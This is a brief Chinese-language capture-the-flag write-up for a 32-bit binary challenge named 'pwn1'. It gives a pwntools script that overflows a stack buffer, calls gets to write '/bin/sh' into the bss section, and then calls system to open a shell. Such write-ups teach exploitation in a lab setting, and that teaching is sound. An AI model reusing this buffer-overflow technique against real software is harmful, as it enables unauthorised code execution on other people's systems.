pwn1 WP
pwn1
拿到题目先检查基本信息
32位且没有保护措施
放到IDA里观察
发现有system函数和gets函数地址,查看源代码
但没有/bin/sh,所以需要手动构造
发现可以写到栈上,开始构造payload
32位架构
from pwn import *
context.arch = 'i386'
p = process('./pwn1231')
gdb.attach(p,'b *0x8049233')
找到可以用到的地址
gets_addr = 0x08049050
system_addr = 0x08049070
bss_addr = 0x804c140
ret_addr = 0x08049022
用gets函数写入/bin/sh并调用
返回gets() 获取shell
根据vul函数
发现覆盖缓冲区的长度为0x24+0x4=0x28
payload = b"A" *0x28
payload += p32(gets_addr)
payload += p32(ret_addr)
payload += p32(bss_addr)
payload += p32(system_addr)
payload += p32(0)
payload += p32(bss_addr)
最后交互
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()
然后开始用gdb调试
可以看到/bin/sh已经写入eax
调试停止返回即可
浙公网安备 33010602011771号